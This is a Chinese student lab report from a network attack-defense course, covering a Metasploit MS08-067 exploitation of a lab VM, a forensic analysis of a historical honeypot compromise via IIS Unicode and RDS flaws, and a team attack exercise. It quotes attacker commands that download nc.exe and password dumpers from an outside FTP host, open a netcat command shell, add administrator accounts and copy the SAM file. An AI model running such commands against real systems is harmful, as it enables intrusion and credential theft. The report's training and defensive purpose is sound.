20212908 2021-2022-2 《网络攻防实践》实践六报告

一、实践内容

1.Windows远程攻击技术分类

(1)远程口令猜测与破解攻击
(2)攻击Windows网络服务
(3)攻击Windows客户端及用户

2.Windows系统的安全漏洞生命周期

(1)Windows安全漏洞发现、利用与修补过程
(2)安全漏洞公开披露信息库
(3)针对特定目标的渗透测试攻击过程:①漏洞扫描测试;②查找针对发现漏洞的渗透代码;③实施渗透测试
(4)使用Metasploit软件实施渗透测试

3.Windows远程口令猜测与破解攻击

(1)远程口令自猜测
(2)远程口令字交换通信窃听与破解
(3)远程口令猜测与破解防范措施

4.Windows网络服务远程渗透攻击

(1)针对NetBIOS网络服务的著名漏洞及攻击
(2)针对SMB网络服务的著名漏洞及攻击
(3)针对MSRPC网络服务的著名漏洞及攻击
(4)针对Windows系统上微软网络服务的远程渗透攻击
(5)针对Windows系统上第三方网络服务的远程渗透攻击

5.Windows本地安全攻防技术

(1)Windows敏感信息窃取
(2)Windows系统口令字密文提取技术
(3)Windows系统口令字破解技术
(4)用户敏感数据窃取

6.Windows消踪灭迹

(1)关闭审计功能
(2)清理事件日志

  • 本次实验的渗透工具:Metasploit,Metasploit是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。Metasploit涵盖了渗透测试中全过程,可以在这个框架下利用现有的Payload进行一系列的渗透测试。

二、实践过程

1.动手实践Metasploit windows attacker

  • 任务:使用metasploit软件进行windows远程渗透统计实验
  • 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

(1)打开kali终端,进入启动msfconsole

(2)search ms08_067查看漏洞ms08_067详细信息

(3)use windows/smb/ms08_067_netapi 进入漏洞所在文件

(4)show options 查看攻击此漏洞需要的设置

(5)show payloads 显示此漏洞的载荷,选择第三个载荷进行攻击

(6)打开wireshark进行抓包
set payload generic/shell_reverse_tcp 设置载荷
set RHOST 192.168.200.124设置攻击主机win2k
set LHOST 192.168.200.5 设置本机
exploit 进行攻击

(7)ipconfig/all

观察到询问192.168.200.124MAC地址的arp数据包,表示攻击开始

查看其他wireshark抓到的数据包,可以看到攻击利用的漏洞有针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞

查看tcp数据流观察到ipconfig/all的命令

2.取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
使用wireshark打开snort-0204@0117.log,大致浏览文件后,可以发现日志文件由以下内容组成:

  1. 可识别的HTTP协议内容
  2. 可识别的SQL语言代码内容
  3. 可识别的系统操作代码内容
  4. 不可识别的数据(二进制数据)

(1)攻击者使用了什么破解工具进行攻击

答:攻击者利用了Unicode攻击(针对MS00-078/MS01-026)和针对msadcs.dll中RDS漏洞(MS02-065)的msadc.pl/msadc2.pl 渗透攻击工具进行了攻击。

分析:追踪HTTP数据流,可以找到特殊字符%C0%AF,在Unicode编码中对应符号/,因此可以推测存在UNICODE编码漏洞攻击,说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况:

再往下,可以看到攻击者试图向服务器获取一个msadcs.dll文件:
攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据“ADM!ROX!YOUR!WORLD”特征字符串,以及查询语句中使用了dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,通过查询可以知道到它是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码发起的。

至此,攻击者通过查点确认了目标系统提供 Web 服务的是IIS v4.0,并存在Unicode和RDS安全漏洞,可进行进一步渗透攻击。

(2)攻击者如何使用这个破解工具进入并控制了系统

观察到每次RDS渗透攻击间的间隔时间均为6秒左右,可以推测攻击者是预先写好需执行的shell指令列表,然后由 msadc(2).pl 渗透攻击工具一起执行。
可以发现攻击者并没有成功,之后便又开始转向 Unicode 攻击,每条请求间隔时间大概在 10-12 秒,意味着指令可能是由攻击者手工输入的,如图:

蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件,并通过 nc构建其一个远程 shell 通道。cmd1.exe /c nc -l -p 6969 -e cmd1.exe接着,攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。

(3)攻击者获得系统访问权限后做了什么(4238-5537)

整理shell代码
shell ("cmd /c echo werd >> c: fu n);
shell("cmd /c echo user johna2k > ftpcom")
shell("cmd /c echo hacker 2000 >> ftpcom")
shell("cmd /c echo get pump.exe >> ftpcom"
shell ("cmd /c echo get nc.exe>>{tpcom");
shell ("cmd /c echo quit>>ftpcom")
shell("cmd /c ftp - s : ftpcom- n www.nether.net");
shell ("cmd /c pdump .exe>>new.pass" )
shell ("cmd /c echo userjohna2k > ftpcom2)
shell ("md /c echo hacker2000>>ftpcom2)
shell("cmd /c put new . pass>>ftpcom2)
shell("cmd /c echo quit>>ftpcom2)
shell("cmd /c ftp -S : ftpcom2 - n www.nether.net");
shell("cmd /c ftp 213.116.251.162)
shell ("cmd /c echo open 213.116.251.162 > ftpcom " );
shell ("cmd /c echo johna2k > ftpcom")
shell ("cmd /c echo hacker2000>>ftpcom)
shell ("cmd /c echo get samdump.dIl>>ftpcom")
shell("cmd /c echo get pdump.exe>>ftpcom")
shell ("cmd /c echo get nc.exe>>itpcom)
shell("cmd /c echo quit>>ftpcom")
第一、二段中使用ftpcom可知攻击机打开IP213.116.251.162,使用ftp的方式下载文件,pdump.exe和samdump.dll是配合使用破解口令的,samdump.dll拿到口令pdump.exe破解,SAM文件通过安全表示进行账号安全管理文件。注:本地特权提升采用dll注入或破解程序漏洞得到。
shell ( "cmd /c open 212.139.12.26)
shell("cmd /c echo iohna2k>>sasfile)
shell ("cmd /c echo haxedj00>>sasfile)
shell("cmd /c echo get pdump.exe>>sasfile)
shell("cmd /c echo get samdump.dIl>>sasfile)
shell ( "cmd /c echo get nc.exe>>sasfile)
shell ("cmd /c echo quit>>sasfile)
shell ("cmd /c ftp - s : sasfile ")
shell ( "cmd /c open 213.116.251.162 ")
shell ("cmd /c echo johna2k>>sasfile)
shell("cmd /c echo haxedi00>>sasfile)
shell ( "cmd /c echo get pdump.exe>>sasfile)
shell ( "cmd /c echo get samdump.dil>>sasfile)
shell ("cmd /c echo get nc.exe>>sasfile)
shell("cmd /c echo quit>>sasfile)
第二段和第三段中sasfile为高效读入数据的方式,因此为IP分别为212.139.12.26和213.116.251.162号入了文件,值得注意的是nc.exe文件是一个远程入侵的后门程序,便于下次攻击;

再继续分析msadcs.dll的shell命令,整理如下:
#注意关键字ProgramFiles
shell (" cmd / c C: ProgramFiles CommonFiles system msadc pump.exe > > yay.txt)
shell (" cmd / c C: ProgramFiles CommonFiles system made pdump.ex > > yay.txt " )
#创建会话写入文件yay.txt
shell ("cmd/ c pdump.exe >> c: yay.txt)
shell ("cmd / c net session > > yay2.txt ")
shell("cmd / c net session > > yay2.txt ")
shell("cmd /c net users > > heh.txt")
shell("cmd /c net users >> c: heh.txt ")
#创建用户组提升自己的访问权限
shell ("/ c net localgroup Domain Admin I WAM_ KENNY / ADD " )
shell (" / c net user testuser UgotHacked / A D D")
shell ( "/ c net localgroup Administrators testuser / A D D" )
从上边的shell命令可以看到攻击机进入靶机之后查看了一些系统文件,注意关键字ProgramFiles;然后创建会话写入文件yay.txt,注意到前面有pdump.exe,这是
上一步中提到的口令破解文件,因此猜测创建的会话将破解的口令写入文件yay.txt中;

再继续分析msadcs.dll的sthell命令,整理如下:
shell("cmd/crdisk-/s")
shell("cmd / crdisk -s)
shell("cmd / crdisk")
shell("cmd/crdisk-/s")
shell("cmd / crdisk - s")
shell("cmd / crdisk / S -")
shell("cmd / crdisk/s-")
shell ("cmd / crdisk/s")
#试图朋除和拷贝SAM中的数据(删除和拷贝har.txt)
shell("cmd / c typec: winnt repair sam.> > C: har.txt )
shell("cmd / c delc : inetpub wwwroot har.txt")
shell ("cmd/ c delc: inetpub wwwroot har.txt)
接下来是要创建了用户组等提升攻击机的访问权限;然后利用磁盛修复工具包中的rdisk工具创建SAM文件副本(SAM文件中可是安全账号管理哦!)可以发现创建的口令来来回回执行了好几次,猜测这个攻击者这步操作不是很顺利?!毕竟是SAM文件!然后是尝试删除和拷贝SAM文件中的数据即删除和拷贝har.txt文件;

(4)我们如何防止这样的攻击

这个攻击事件中被利用的两个漏洞为RDS和Unicode漏洞,两者都已经有相应的补丁,通过打补丁可防止遭受同样的攻击。不要使用 IIS4.x 这样臭名昭著的 Web Server,如果必须使用 IIS4.x,主要的防范措施有:

  • 为这些漏洞打上补丁;
  • 禁用用不着的 RDS 等服务,防火墙封禁网络内部服务器发起的连接;
  • 为 web server 在单独的文件卷上设置虚拟根目录;
  • 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能;
  • 使用 IIS Lockdown 和 URLScan 等工具加强 web server。

(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

攻击者意识到了攻击目标是蜜罐主机,因为他建立了一个文件,并输入了如下内容 _echo best honeypot i've seen till now _) _ rfp.txt

因为该目标主机作为 rfp 的个人网站, Web 服务所使用的 IIS 甚至没有更新 rfp 自己所发现的 MDAC RDS安全漏洞,很容易让攻击者意识到这绝对是台诱饵。

3.团队对抗实践:windows系统远程渗透攻击和分析。

  • 攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
  • 防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
本地攻击机ip地址 本地靶机ip地址 对方攻击机ip地址 对方靶机ip地址
172.20.10.9 172.20.10.5 172.20.10.7

(1)防守实践

首先攻击机与本地靶机的445端口建立连接

之后是一些SMB协议数据包:

最后当对方取得控制权后,通过追踪流后面的TCP数据包可以看到对方在本地靶机上先是查看了IP,然后创建了一个文件夹,之后便结束了本次攻击:

(2)攻击实践

本次使用的攻击机为Kali(IP:172.20.10.9),靶机为Win2KServer(IP:172.20.10.8),且配置在了同一个网段下,连通性测试:

按照1的步骤输入命令对靶机进行攻击


靶机里查看到创建的文件夹:

三、学习中遇到的问题及解决

  • 问题1:设置靶机win2k为桥接模式,IP地址不变还是192.168.200.124,导致实验3无法继续
  • 问题1解决方案:到Internet协议TCP/IP属性,设置为自动获取ip地址

四、实践总结

本次实验,进行了Windows操作系统安全攻防实践,动手实践Metasploit windows attacker,对解码一次成功的NT系统破解攻击进行了取证分析实践,最后进行了团队对抗实践,对windows系统远程渗透攻击和分析。通过进行实操,加深了自己对于windows系统安全的理解,提高了自己的动手能力。

posted @ 2022-04-23 10:18  Freesia1201  阅读(174)  评论(0编辑  收藏  举报